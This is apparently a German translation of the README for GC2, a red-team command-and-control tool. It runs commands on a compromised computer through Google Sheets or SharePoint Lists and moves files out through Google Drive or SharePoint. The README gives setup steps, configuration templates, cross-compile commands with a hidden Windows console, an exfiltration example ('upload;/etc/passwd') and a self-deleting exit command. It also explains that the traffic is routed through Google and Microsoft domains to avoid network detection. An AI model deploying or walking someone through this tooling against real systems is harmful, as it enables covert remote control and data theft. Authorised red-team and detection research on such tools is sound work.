
GC2 ist eine Command-and-Control-Anwendung, die es einem Angreifer ermöglicht, Befehle auf dem Zielcomputer auszuführen, indem er Google Sheets oder Microsoft SharePoint-Listen verwendet, und Dateien mit Google Drive oder Microsoft SharePoint-Dokumente zu exfiltrieren.
GC2 (Google Command and Control) ist eine Command-and-Control-Anwendung, die es einem Angreifer ermöglicht, Befehle auf dem Zielcomputer mithilfe von Google Sheet oder Microsoft SharePoint List auszuführen und Dateien über Google Drive oder Microsoft SharePoint Document zu exfiltrieren.
Dieses Projekt wurde entwickelt, um ein Command and Control bereitzustellen, das während Red-Teaming-Aktivitäten keine besondere Einrichtung erfordert (wie eine benutzerdefinierte Domain, VPS, CDN, ...).
Darüber hinaus interagiert das Programm nur mit den Domains von Google und Microsoft (wie *.google.com), um die Netzwerkerkennung zu erschweren.
Ein Google Sheet wird automatisch vom C2 erstellt. Sobald es erstellt ist, können Sie wie unten gezeigt mit dem kompromittierten System interagieren.
Eine Microsoft SharePoint List wird automatisch vom C2 erstellt. Sobald sie erstellt ist, können Sie wie unten gezeigt mit dem kompromittierten System interagieren.
Ein spezieller Befehl ist für die Exfiltration von Dateien vom Zielsystem reserviert.
From Target to Google Drive/Microsoft SharePoint Document
upload;<local path>
Example:
upload;/etc/passwd
Hinweis: Dateien mit demselben Namen werden automatisch überschrieben.
Ein spezieller Befehl ist für das Herunterladen von Dateien auf das Zielsystem reserviert.
From Google Drive to Target
download;<google drive file id>;<local path>
Example:
download;<file ID>;/home/user/downloaded.txt
Hinweis: Dateien müssen im SharePoint-Stammordner gespeichert werden, normalerweise "Documents"
From SharePoint to Target
download;<SharePoint file path>;<local path>
Example:
download;download.txt;/home/user/downloaded.txt
Durch Senden des exit-Befehls wird der C2 sich selbst beenden und vom Zielsystem löschen.
PS: Aus der os-Dokumentation: Wenn ein Symlink zum Starten des Prozesses verwendet wurde, kann das Ergebnis je nach Betriebssystem der Symlink oder der Pfad, auf den er verwies, sein. In diesem Fall wird der Symlink gelöscht.
Dieser C2 unterstützt sowohl Google- (Google Sheet + Google Drive) als auch Microsoft-Dienste (SharePoint Lists + SharePoint Document). Um den C2 zu verwenden, müssen Sie sowohl die lokale als auch die Cloud-Konfiguration einrichten.
Erstellen Sie ein neues Google-Dienstkonto
Erstellen Sie ein neues Google-Dienstkonto über https://console.cloud.google.com/, erstellen Sie eine .json-Schlüsseldatei für das Dienstkonto.
Aktivieren Sie die Google Sheet API und Google Drive API
Aktivieren Sie die Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api und die Google Sheet API https://developers.google.com/sheets/api/quickstart/go.
Richten Sie Google Sheet und Google Drive ein
Erstellen Sie ein neues Google Sheet und teilen Sie es (als Editor) mit dem Dienstkonto (durch Verwendung seiner E-Mail).
Erstellen Sie einen neuen Google Drive-Ordner und teilen Sie ihn (als Editor) mit dem Dienstkonto (durch Verwendung seiner E-Mail).
Um mit Microsoft-Diensten zu interagieren, benötigen Sie zunächst ein Business-Abonnement (Sie können eines für die ersten 30 Tage kostenlos erhalten).
Erstellen Sie eine Azure-Anwendung
Erstellen Sie eine neue Azure-Anwendung wie hier beschrieben https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http
Nach dem Erstellen der neuen Anwendung aktivieren Sie die folgenden Graph-APIs:
Laden Sie den C2 herunter
Der C2 kann direkt von GitHub geklont werden:
git clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet
Konfigurieren Sie den C2
Um den C2 zu konfigurieren, müssen Sie die Datei cmd/options.yml ändern. Der C2 unterstützt sowohl Google- als auch Microsoft-Dienste, ein Mischen ist ebenfalls möglich.
Nur Google-Dienste
CommandService: "Google" # Google Sheet will be used as command service to pull commands and push commands' output
FileSystemService: "Google" # Google Drive will be used as file system to download and exfiltrate files
GoogleServiceAccountKey : "1234567890" # your escaped json file
GoogleSheetID: "0987654321" # your Google Sheet ID (can be found in the URL)
GoogleDriveID: "1234554321" # your Google Drive folder ID (can be found in the URL)
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes
Ihr Google-Dienstkontoschlüssel muss maskiert werden, bevor Sie ihn in die Konfigurationsdatei einfügen. Sie können den folgenden Befehl verwenden, um ihn zu maskieren:
cat key.json | jq -r @json | sed 's/\\n/\\\\n/g' | sed 's/\"/\\"/g'
Nur Microsoft-Dienste
CommandService: "Microsoft" # Microsoft SharePoint List will be used as command service to pull commands and push commands' output
FileSystemService: "Microsoft" # Microsoft SharePoint Document will be used as file system to download and exfiltrate files
MicrosoftTenantID: "567890098765" # your Azure Tenant ID where the Azure Application was created
MicrosoftClientID: "098765567890" # your Azure Application ID
MicrosoftClientSecret: "1234509876" # your Azure Application Secret value
MicrosoftSiteID: "0987612345" # # your SharePoint ID
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes
Die meisten Fehler können erkannt werden, indem das Flag verbose auf true gesetzt wird. Standardmäßig generiert der C2 keine Ausgabe oder Fehlerinformationen.
Demo von Grant Collins
Der Besitzer dieses Projekts ist nicht verantwortlich für eine illegale Nutzung dieses Programms.
Dies ist ein Open-Source-Projekt, das mit Autorisierung zur Bewertung der Sicherheitslage und zu Forschungszwecken verwendet werden soll.
Der Endbenutzer ist alleinverantwortlich für seine Handlungen und Entscheidungen. Die Nutzung dieses Projekts erfolgt auf eigenes Risiko. Der Besitzer dieses Projekts übernimmt keine Haftung für Verluste oder Schäden, die durch die Nutzung dieses Projekts entstehen.
Nachrichten, die Malware mit demselben Konzept erwähnen:
Mischen von Google- und Microsoft-Diensten
CommandService: "Google" # Google Sheet will be used as command service to pull commands and push commands' output
FileSystemService: "Microsoft" # Microsoft SharePoint Document will be used as file system to download and exfiltrate files
GoogleServiceAccountKey : "1234567890" # your escaped json file
GoogleSheetID: "0987654321" # your Google Sheet ID (can be found in the URL)
GoogleDriveID: "1234554321" # your Google Drive folder ID (can be found in the URL)
MicrosoftTenantID: "567890098765" # your Azure Tenant ID where the Azure Application was created
MicrosoftClientID: "098765567890" # your Azure Application ID
MicrosoftClientSecret: "1234509876" # your Azure Application Secret value
MicrosoftSiteID: "0987612345" # # your SharePoint ID
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes
Erstellen Sie die ausführbare Datei
Einige Beispiele für das Cross-Compilieren des C2 für verschiedene Betriebssysteme und Architekturen.
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui"
env GOOS=linux GOARCH=amd64 go build -ldflags "-s –w"
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s –w"
Ausführen
Nach dem Compilieren führen Sie es aus.
./gc2-sheet
Der Beacon erstellt automatisch ein neues Google Sheet oder eine neue Microsoft SharePoint List entsprechend Ihrer Konfiguration.